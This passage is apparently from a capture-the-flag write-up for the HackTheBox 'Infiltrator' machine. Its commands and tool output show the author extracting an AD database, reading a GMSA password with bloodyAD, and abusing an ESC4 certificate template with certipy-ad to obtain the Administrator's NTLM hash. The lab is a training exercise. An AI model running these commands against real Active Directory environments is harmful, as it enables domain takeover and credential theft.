$ ntdsdotsqlite 'Active Directory/ntds.dit' --system 'registry/SYSTEM' -o 'ntds.sqlite'

Looking around the SQLite database I find yet another password stored in the description field this time for the lan_managment user. To be sure I confirm the password using with netexec.

sqlite> SELECT login, description from user_accounts WHERE description IS NOT NULL;
Administrator|Built-in account for administering the computer/domain
Guest|Built-in account for guest access to the computer/domain
krbtgt|Key Distribution Center Service Account
winrm_svc|User Security and Management Specialist
lan_managment|l@n_M@an!1331
harris|Head of Development Department

Shell as Administrator

ReadGMSA - infiltrator_svc$

With access as lan_managment to the Active Directory secured I can now read the password the GMSA infiltrator_svc$. This really straightforward and I did this using bloodyAD again.

$ bloodyAD -u 'lan_managment' -d 'infiltrator.htb' -p 'l@n_M@an!1331' --host 'dc01.infiltrator.htb' get object 'infiltrator_svc$' --attr 'msDS-ManagedPassword'
distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd
msDS-ManagedPassword.B64ENCODED: +k2bp0FbWDrEClPpBHeRcO58aO4E6iAgx72SXelfOvi8alaMygGMB5cHhBbpZ/QU/tC+paGyUmkQ06gF4+1AqQ9zr47piZESLEWu+3CmvGOSj5LRvgpT2zwlqbv4gej1xc6CptCQABZVqFmoJPyWdFlB3GLejHGfgyfG3LvAoctd/MrdpiBALIWbYFzvw93uk79XIlkrWWirG3pV560dpoXkhQL9EYh2OtJyseJeh5LhkBqnTTDbFbiczadz6DFt9e1d5pgT0seoG8xWaPfvai19lVdocq+YoL1/lxQvi+pVoI1oUc66FIw1hO51BPJpun+Hi62eOVelTyZDEwa+uQ==

ESC4

PKI Hierarchy

I already know that AD CS is running on this machine, since I used it to get the NTLM hash of e.rodriguez all the way at the beginning. I mainly took a look at the PKINT hierarchy to get the name of the CA and also who doesn’t enjoy looking at Bloodhound graphs.

Exploitation

As the chapter already told you the path towards Domain Administrator is through the ESC4 escalation technique. This one is basically ESC1 but with some extra steps. Since I have an account that has broad access to a certificate template I can abuse these ACLs to make the template vulnerable to ESC1.

The exploitation of this flaw is very easy thanks to the amazing certipy-ad tool. If you want to read a bit more in depth about ESC4 either take a look at TheHackerRecipes or the original paper by SpectreOps.

But basically I just have to run two commands, three if I want to undo the damage I have done. The first command makes the specified template vulnerable to ESC1 and with the -save-old flag creates a local backup of the original template configuration. The second command than exploits ESC1 by requesting a certificate with a different UPN, in this case Administrator (the user I want to compromise).

$ certipy-ad template -username 'infiltrator_svc$'@'infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -template 'Infiltrator_Template' -save-old
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Saved old configuration for 'Infiltrator_Template' to 'Infiltrator_Template.json'
[*] Updating certificate template 'Infiltrator_Template'
[*] Successfully updated 'Infiltrator_Template'
 
$ certipy-ad req -username 'infiltrator_svc$@infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -ca 'infiltrator-DC01-CA' -template 'Infiltrator_Template' -upn 'administrator@infiltrator.htb' -dc-ip '10.129.231.134'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with UPN 'administrator@infiltrator.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

Once this done the original template configuration can be restored as follows, since you will not always have a clean-up script does this for you in the real world.

$ certipy-ad template -username 'infiltrator_svc$'@'infiltrator.htb' -hashes 'aad3b435b51404eeaad3b435b51404ee:407546ca61cd7d3870e7dc6b0b007ecd' -template 'Infiltrator_Template' -configuration 'Infiltrator_Template.json'

With the saved certificate and private key I now use certipy-ad again to get a TGT and the NTLM hash of the Administrator user. These than allow me to login to machine, read the root flag and optionally dump the entire domain.

$ certipy-ad auth -domain 'infiltrator.htb' -pfx 'administrator.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1